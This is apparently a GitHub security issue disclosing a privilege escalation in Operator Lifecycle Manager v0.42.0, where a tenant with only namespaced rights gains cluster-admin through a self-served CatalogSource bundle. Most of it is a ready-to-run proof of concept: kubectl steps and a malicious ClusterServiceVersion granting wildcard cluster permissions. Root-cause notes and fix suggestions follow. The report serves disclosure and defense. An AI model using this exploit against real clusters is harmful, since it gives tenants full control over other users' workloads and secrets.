Skip to content

OLM: Namespace-to-Cluster-Admin Escalation via Tenant-Controlled CatalogSource #3820

@llooFlashooll

Description

@llooFlashooll

Hi, I'm a security student researching Kubernetes app vulnerabilities.

Summary

A namespace-scoped OLM tenant (no Pod-create, no ClusterRole, no CRD permission) creates four namespaced CRs: a ConfigMap (containing a malicious operator bundle), a CatalogSource (pointing at that ConfigMap), an OperatorGroup, and a Subscription. OLM's catalog-operator — running with cluster-admin RBAC — resolves the Subscription and executes every cluster-scoped resource in the bundle verbatim, including a ClusterRole with {apiGroups: ["*"], resources: ["*"], verbs: ["*"]} and a ClusterRoleBinding binding it to a ServiceAccount in the tenant's namespace.

Result: the tenant obtains full cluster-admin access via purely namespace-scoped CRs, with no SAR check, no bundle signature verification, and no admission restriction.

Vulnerability Class: CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization)
Affected Version: OLM v0.42.0 (latest stable)
Tested on: OLM v0.42.0, Kind v0.31.0, Kubernetes v1.35.0
Attack complexity: Very low — four kubectl applys

Root Cause

  1. No SubjectAccessReview anywhere in OLM's install pipeline. The Subscription creator's permissions are never checked against the bundle's cluster-scoped resources.
  2. Bundle trusted verbatim — no signature, no digest check, no allowlist on bundle content.
  3. ClusterRole/ClusterRoleBinding created by OLM's SAstep_ensurer.go:241 creates ClusterRoleBindings using OLM's own cluster-admin ServiceAccount.
  4. CRDs always use cluster-adminoperator.go:2369-2382 explicitly comments that CRD creation uses the privileged client.
  5. AllNamespaces mode is tenant-selectableOperatorGroup.spec.targetNamespaces: [] is unrestricted.
  6. ConfigMap-based CatalogSource — tenant can serve a complete operator bundle from a namespace-scoped ConfigMap, no external registry needed.

Proof of Concept

Environment Setup

Step 1: Create Kind cluster and install OLM

kind create cluster --name olm-lab --wait 5m

kubectl apply --server-side \
  -f https://github.com/operator-framework/operator-lifecycle-manager/releases/download/v0.42.0/crds.yaml
kubectl apply \
  -f https://github.com/operator-framework/operator-lifecycle-manager/releases/download/v0.42.0/olm.yaml
kubectl wait --for=condition=Available deployment --all -n olm --timeout=300s

Step 2: Create tenant namespace and RBAC

kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Namespace
metadata:
  name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-developer
  namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: tenant-olm
  namespace: tenant-a
rules:
- apiGroups: ["operators.coreos.com"]
  resources: ["subscriptions","operatorgroups","catalogsources","installplans","clusterserviceversions"]
  verbs: ["get","list","watch","create","update","patch","delete"]
- apiGroups: [""]
  resources: ["secrets","configmaps","serviceaccounts"]
  verbs: ["get","list","watch","create","update","patch","delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: tenant-olm
  namespace: tenant-a
subjects:
- kind: ServiceAccount
  name: app-developer
  namespace: tenant-a
roleRef:
  kind: Role
  name: tenant-olm
  apiGroup: rbac.authorization.k8s.io
EOF

Step 3: Verify RBAC boundaries

AS=system:serviceaccount:tenant-a:app-developer
kubectl auth can-i create subscriptions.operators.coreos.com -n tenant-a --as=$AS   # yes
kubectl auth can-i create catalogsources.operators.coreos.com -n tenant-a --as=$AS  # yes
kubectl auth can-i create pods -n tenant-a --as=$AS                                  # no
kubectl auth can-i create clusterrolebindings --as=$AS                               # no
kubectl auth can-i create customresourcedefinitions --as=$AS                          # no

Exploitation

Step 4: Tenant creates 4 namespace-scoped CRs

AS=system:serviceaccount:tenant-a:app-developer

# 4.1 — ConfigMap containing the malicious operator bundle
kubectl --as=$AS apply -f - <<'EOFYAML'
apiVersion: v1
kind: ConfigMap
metadata:
  name: evil-catalog
  namespace: tenant-a
data:
  customResourceDefinitions: ""
  clusterServiceVersions: |
    - apiVersion: operators.coreos.com/v1alpha1
      kind: ClusterServiceVersion
      metadata:
        name: evil-operator.v0.0.1
        namespace: placeholder
        annotations:
          alm-examples: '[]'
      spec:
        displayName: Evil Operator
        description: PoC privilege escalation
        version: 0.0.1
        maturity: alpha
        maintainers:
        - name: test
          email: test@test.com
        provider:
          name: test
        installModes:
        - type: OwnNamespace
          supported: true
        - type: SingleNamespace
          supported: true
        - type: MultiNamespace
          supported: true
        - type: AllNamespaces
          supported: true
        install:
          strategy: deployment
          spec:
            clusterPermissions:
            - serviceAccountName: evil-sa
              rules:
              - apiGroups: ["*"]
                resources: ["*"]
                verbs: ["*"]
            deployments:
            - name: evil-controller
              spec:
                replicas: 0
                selector:
                  matchLabels:
                    app: evil-ctrl
                template:
                  metadata:
                    labels:
                      app: evil-ctrl
                  spec:
                    containers:
                    - name: noop
                      image: busybox
                      command: ["sh","-c","sleep infinity"]
  packages: |
    - packageName: evil-operator
      defaultChannel: alpha
      channels:
      - name: alpha
        currentCSV: evil-operator.v0.0.1
EOFYAML

# 4.2 — CatalogSource pointing at the ConfigMap
kubectl --as=$AS apply -f - <<'EOF'
apiVersion: operators.coreos.com/v1alpha1
kind: CatalogSource
metadata:
  name: evil-catalog
  namespace: tenant-a
spec:
  sourceType: configmap
  configMap: evil-catalog
  displayName: Evil Catalog
  publisher: test
EOF

# 4.3 — OperatorGroup (AllNamespaces mode)
kubectl --as=$AS apply -f - <<'EOF'
apiVersion: operators.coreos.com/v1
kind: OperatorGroup
metadata:
  name: tenant-og
  namespace: tenant-a
spec:
  targetNamespaces: []
EOF

# 4.4 — Subscription (auto-install)
kubectl --as=$AS apply -f - <<'EOF'
apiVersion: operators.coreos.com/v1alpha1
kind: Subscription
metadata:
  name: evil-sub
  namespace: tenant-a
spec:
  channel: alpha
  name: evil-operator
  source: evil-catalog
  sourceNamespace: tenant-a
  installPlanApproval: Automatic
EOF

Verification

Step 5: Wait for OLM reconcile (~90s)

sleep 90

Step 6: Check cluster-scoped resources created by OLM

kubectl get clusterrole | grep evil
# Expected: evil-operator.v0.0.1-<hash>

kubectl get clusterrolebinding | grep evil
# Expected: evil-operator.v0.0.1-<hash>

# Inspect the ClusterRole rules
kubectl get clusterrole "$(kubectl get clusterrole -o name | grep evil | head -1)" -o yaml | grep -A8 rules:
# Expected: apiGroups: ["*"], resources: ["*"], verbs: ["*"]

# Check binding target
kubectl get clusterrolebinding "$(kubectl get clusterrolebinding -o name | grep evil | head -1)" -o yaml | grep -A5 subjects:
# Expected: ServiceAccount evil-sa in tenant-a

Step 7: Prove cluster-admin escalation

kubectl auth can-i '*' '*' --all-namespaces --as=system:serviceaccount:tenant-a:evil-sa
# Expected: yes

kubectl auth can-i list secrets -n kube-system --as=system:serviceaccount:tenant-a:evil-sa
# Expected: yes

kubectl auth can-i delete namespaces --as=system:serviceaccount:tenant-a:evil-sa
# Expected: yes

Step 8: Confirm original tenant is still restricted

kubectl auth can-i create clusterrolebindings --as=system:serviceaccount:tenant-a:app-developer
# Expected: no

Verification Summary

Action Actor Result
Create ConfigMap/CatalogSource/OperatorGroup/Subscription app-developer SUCCESS — all namespaced
Create Pod directly app-developer FORBIDDEN
Create ClusterRoleBinding directly app-developer FORBIDDEN
OLM creates ClusterRole {*, *, *} catalog-operator CONFIRMED
OLM creates ClusterRoleBinding → evil-sa catalog-operator CONFIRMED
evil-sa has full cluster-admin K8s RBAC CONFIRMEDcan-i * * → yes

Impact

Impact Severity Confirmed
Full cluster-admin from namespace-scoped tenant Critical Yes
Arbitrary ClusterRoles/ClusterRoleBindings via bundle Critical Yes
Arbitrary CRD installation via bundle Critical Implied — same code path
No bundle signature verification High Yes
No SubjectAccessReview on any install path Critical Yes

CWEs

  • CWE-269: Improper Privilege Management
  • CWE-862: Missing Authorization
  • CWE-863: Incorrect Authorization
  • CWE-345: Insufficient Verification of Data Authenticity

Fix Suggestions

  1. SubjectAccessReview before cluster-scoped writes — check if the Subscription creator can create the resource type.
  2. Deny ClusterPermissions from tenant bundles — require admin approval for bundles with cluster-scoped RBAC.
  3. Bundle signature verification — reject unsigned bundles.
  4. Restrict tenant CatalogSource creation — only allow admin-curated catalogs.
  5. Restrict AllNamespaces mode — deny targetNamespaces: [] for non-admin users.

Cleanup

kubectl delete subscription evil-sub -n tenant-a
kubectl delete csv evil-operator.v0.0.1 -n tenant-a
kubectl delete catalogsource evil-catalog -n tenant-a
kubectl delete operatorgroup tenant-og -n tenant-a
kubectl delete configmap evil-catalog -n tenant-a
kubectl delete clusterrolebinding "$(kubectl get clusterrolebinding -o name | grep evil | head -1)"
kubectl delete clusterrole "$(kubectl get clusterrole -o name | grep evil | head -1)"
kubectl delete namespace tenant-a

Metadata

Metadata

Assignees

No one assigned

    Labels

    kind/bugCategorizes issue or PR as related to a bug.

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions